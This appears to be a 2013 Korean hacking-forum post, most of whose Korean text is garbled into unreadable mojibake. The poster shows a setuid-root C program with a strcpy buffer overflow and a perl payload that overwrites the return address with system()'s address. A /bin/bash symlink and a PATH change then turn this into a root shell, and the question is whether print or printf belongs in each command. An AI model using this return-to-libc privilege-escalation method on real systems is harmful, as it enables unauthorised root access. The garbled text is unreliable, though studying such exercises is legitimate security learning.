½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   xkdlrjxkdltm
   ¹öÆÛ ¿À¹ö Ç÷οì print¿Í printf ÀÇ Â÷ÀÌ

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1707 [º¹»ç]


ÇØÄðºÏÀ» »ñ´Âµ¥
Àç¹Ô´Ù ¸ð´Ï±ñ Çѹø¿¡ ´ÙÀоú´Âµ¥ ÀÌÇØ°¡ ¾ÈµÇ´Â °÷ÀÌÀÖ½À´Ï´Ù.

vuln.c(root ±ÇÇÑ ÆÄÀÏ setUID,setGID)
ºí¶óºí~~~~~~~~~~~
~~~~~~~~~~~~
~~~~~~~~~~~~°Á ±âº»ÀûÀÎ ³»¿ëÀÓ
int main(int argc,char *argv[])
{
char buffer[80];

if(argc<2){
printf("±×³É ¾Ö·¯¶ó´Â ³»¿ëÀÓ \n");
return 1;
}

strcpy(buffer,argv[1]);

printf(" %s\n", buffer);¿ä°Å´Â °Á³»¿ëÂ¥¸£°í Áß¿äÇѰŸ¸ ³ÊÀ½
}

º¸½Ã¸é ¾Æ½Ã°ÙÁö¸¸ ·çÆ® ±ÇÇÑÀ» Åжó´Â°Çµ¥¿ä.
¸®ÅϾîµå·¹½º¸¦ °Çµé¿©¼­ ¾È²¨Áö°ÔÇÑ´Ù´Â ±×·±³»¿ëÀε¥....
¿©±â¼­
±×´Ú º°°Å¾Æ´Ñ³»¿ë ³Ñ±æ°Ô¿ä.

¾î¼°í Àú¼°íÇØ¼­ system()ÀÇ ¾îµå·¹½º¸¦ µû¼­
./vuln `perl -e 'print"A"x84, "¿©±â¿¡´Ù°¡ ¾îµå·¹½º ¸®Æ² Àε𿣠¹æ½ÄÀ¸·Î"'`
½ÇÇà°á°ú ¾Ö·¯¹ß»ý    
bash: ¿û?? command not found ÆÄÀÏÀÌ ¾ø´Ù´Â°Å¶ó³×¿ä  ±×·³ ÆÄÀÏÀ» ¸¸µé¾î¾ßÁö ÇØ¼­
ÀÏ´Ü ¿ûÀ̶õ °ÍÀÇ xxd·Î ³»¿ëÀ» È®ÀÎÇÏ´Ï ffdf ffaf ffcf ffdf ÀÌ·±½ÄÀ¸·Î ³ª¿À±æ·¡
ln -s /bin/bash `perl -e 'printf "À§ÁÖ¼Ò"'`
±×¸®°í ¿ûÀ̶ó´Â ÆÄÀÏÀº Àý´ë,»ó´ë °æ·Îµµ ¾Æ´Ï±â‹š¹®¿¡ PATHÈ­°æº¯¼ö¿¡ ÇöÁ¦
°æ·Î¸¦ ¶§·Á¹Ú¾Ò½À´Ï´Ù.
¿©±â±îÁö ¿©±â¼­ ./vuln ÂÊ¿¡¼­´Â print ¶ó°íÇϰí lnÂÊ¿¡¼­´Â printf¶ó°íÇϳª¿ä?

  Hit : 4473     Date : 2013/09/05 10:37



    
kumi123 ¾Æ´¢... printf ¿Í printÀÇ Â÷ÀÌ´Â, Æ÷¸Ë½ºÆ®¸µ ¿©ºÎ ¹Û¿¡ ¾ø¾î¿ä.. ¾Æ¹«°Å³ª ½áµµ µÈ´Ù´É 2013/09/07  
xkdlrjxkdltm ±×·¸±º¿ä ¤¾¤¾ °¨»çÇÏ´Ù´É~ ¤» 2013/09/08